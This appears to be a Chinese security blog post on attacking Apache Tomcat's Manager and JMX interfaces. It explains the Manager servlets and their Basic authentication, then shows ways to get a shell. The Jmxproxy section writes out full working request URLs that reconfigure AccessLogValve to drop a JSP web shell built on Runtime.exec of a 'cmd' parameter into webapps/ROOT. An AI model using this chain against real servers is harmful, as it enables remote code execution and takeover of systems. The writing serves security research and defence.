0x01 Manager管理页面
0x01.1 配置文件解读
Manager对应的配置文件在./webapps/manager/WEB-INF目录下的web.xml中,其中包含4个servlet类,分别是Manager、HTMLManager、Status和JMXProxy四个servlet,对应的servlet如下:
org.apache.catalina.manager.ManagerServlet
org.apache.catalina.manager.HTMLManagerServlet
org.apache.catalina.manager.StatusManagerServlet
org.apache.catalina.manager.JMXProxyServlet
对应的uri路径如下:
Manager的鉴权,四个接口都使用了Basic的鉴权方法,也就是base64对用户名:密码进行编码鉴权:
Manager的用户名密码是通过./conf/tomcat-users.xml来配置,这里面需要提前根据webapp下面的web.xml中的role-name来设置role和user,配置如下:
但是后期的版本想要访问到Manager页面还得将./webapps/manager/META-INF/context.xml里面只允许本地IP登录注释或者删除:
Manager-gui
主要负责web页面的应用部署、卸载和管理,可以通过部署恶意应用getshell;对应的路径为:http://10.10.84.207:8081/manager/html/\*
对应的servlet类为
org.apache.catalina.manager.HTMLManagerServlet
这里面的doPost方法获取请求的路径,然后根据路径处理不同的业务:
Manager-script
主要负责管理tomcat,可以部署应用,查看部署的应用,还能查看服务器信息,查看部署的应用:
查看服务器信息:
使用PUT方法进行项目部署:
使用PUT方法进行部署时会进入
org.apache.catalina.manager.ManagerServlet的doPut方法
会查看请求的uri是否是/deploy,是则进入项目部署:
Manager-status
该模块能够获取当前tomcat的服务信息:http://10.10.84.207:8081/manager/status//all
对应的servlet是
org.apache.catalina.manager.StatusManagerServlet
这里面只能处理get请求:
http://10.10.84.207:8081/manager/status/all?XML=true
Manager-jmx
这是通过web来管理MBeans,能够管理web应用部署、启动、停止。Tomcat提供了4中方法
query命令:http://10.10.84.207:8081/manager/jmxproxy/?qry=
get命令:http://10.10.84.207:8081/manager/jmxproxy/?get=
set命令:http://10.10.84.207:8081/manager/jmxproxy/?set=
invoke命令:http://10.10.84.207:8081/manager/jmxproxy/?invoke=
获取内存监控情况:
http://10.10.84.207:8081/manager/jmxproxy/?get=java.lang:type=Memory&att=HeapMemoryUsage
http://10.10.84.207:8081/manager/jmxproxy/?qry=*%3atype=User%2c*
Jmxproxy造成RCE:
因为jmxproxy能够操作MBean,在tomcat里面存在一个AccessLogValve的MBean,这能够修改tomcat的日志配置,修改后缀名为.jsp,修改内容等。主要的方法是doGet:
修改内容:
http://10.10.84.207:8081/manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=pattern&val=%25%7b%70%7d%69%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%29%3b%20%25%7b%73%7d%69
URL编码内容为:
%{p}i Runtime.getRuntime().exec(request.getParameter("cmd")); %{s}i
开头和结尾的特殊符号从请求头的p和s中获取
修改后缀:
http://10.10.84.207:8081/manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=suffix&val=.jsp
修改前缀:
http://10.10.84.207:8081/manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=prefix&val=test
修改日志存储目录:
http://10.10.84.207:8081/manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=directory&val=webapps/ROOT
修改文件名:
http://10.10.84.207:8081/manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=fileDateFormat&val=
从请求头中获取<% 和 %>
查看写入的内容:
执行命令:
0x02 JMX服务
0x02.1 启动JMX服务
在catalina.sh开头添加以下内容:
CATALINA_OPTS="$CATALINA_OPTS -Dcom.sun.management.jmxremote -DJava.rmi.server.hostname=0.0.0.0 -Dcom.sun.management.jmxremote.port=9999 -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false"
然后使用bash bin/catalina.sh jpda run开启远程调试:
可以看到jmx服务监听到9999端口:
0x02.2 利用
使用nmap进行扫描可以扫描出这是java的rmi服务:
使用beanshooter查看存在的MBean:
获取某个MBean的属性:
读取用户名密码:
写入文件:
END
往期经典回顾
ServerStatusDiffInterceptor反序列化
点赞是鼓励 在看是认同 分享是传递知识
看完点个**“在看”****
分享给更多人
**